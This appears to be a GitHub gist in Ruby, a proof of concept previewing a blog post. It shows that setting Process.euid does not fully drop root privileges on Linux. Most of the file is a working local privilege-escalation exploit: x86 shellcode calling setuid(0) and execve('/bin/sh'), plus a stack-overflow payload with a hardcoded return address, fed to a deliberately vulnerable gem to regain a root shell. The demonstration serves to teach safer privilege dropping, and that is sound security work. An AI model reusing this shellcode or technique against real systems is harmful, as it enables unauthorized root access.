public
Last active

  • Download Gist
gistfile1.rb
Ruby
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
##
## sneak peak at a potential future blog post @ http://timetobleed.com
##
## this demos how using Process.euid= isn't strong enough for dropping privs
## in linux. you need to use Process::Sys.setres[uid|gid] instead.
##
## execute this file as root, it will drop privs to nobody, then call an evil
## ruby function that has a buffer overflow/double free/format string/etc vuln.
##
## (in this demo case i wrote BadGem which just does a blind strcpy, but you can
## imagine a poorly written ruby gem or bug in ruby or whatever)
##
## the shellcode executes, calls setuid(0) and then execve("/bin/sh", 0, 0)
##
## ... which lands you in a root shell - EVEN THOUGH you dropped to nobody before.
 
 
## a few notes about this:
## - x86 32bit shellcode; definitely doesn't work on x86_64
## - these addresses are hardcoded for my linux box, lame BUT this isn't a buffer
## overflow exercise, its just a proof-of-concept.
## - as a result this probably wont work on your box
##
## if there is enough interest, maybe i'll re-write it to be more realistic.
 
require 'rubygems'
require 'badgem'
 
## x86 32 shellcode
## setuid(0)
## execve("/sh/bin", 0, 0)
s = "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
 
# fill the buffer with some yummy meat
10.times { s += "MEAT" }
2.times { s += "!" }
 
# overwrite saved ebp
s += "joe!"
 
# overwrite saved eip
s += "\xe0\xf6\xff\xbf"
 
puts Process.pid
 
## Switch ruby process to run as "nobody", so I should be safe right?
Process.euid = Etc.getpwnam("nobody").uid
 
BadGem::bad(s)

Please sign in to comment on this gist.

Something went wrong with that request. Please try again.